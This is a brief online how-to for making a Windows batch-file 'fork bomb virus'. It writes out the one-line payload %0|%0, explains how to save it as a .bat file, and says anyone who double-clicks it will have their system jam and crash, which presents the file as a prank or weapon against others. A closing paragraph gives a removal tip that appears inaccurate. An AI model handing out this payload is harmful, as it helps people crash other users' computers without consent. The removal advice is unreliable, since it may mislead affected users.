How to create a fork bomb virus

Its just too easy; just follow the following steps
1. Open notepad on your pc and write this code into it %0|%0
2. Then save it with a .bat extension when saving, delete the .txt and input the file name and the
.bat extension e.g fork.bat
3. Once anyone will double click on this bat file, his system will jamn and crash
If you are already a victim of this virus, once you ON your pc, quickly press ctrl+alt+delete key on your keyboard then start the task manager, now click on the processes tab and locate fork.bat or any name you used, then put your mouse on it and click on the end process button. That's all.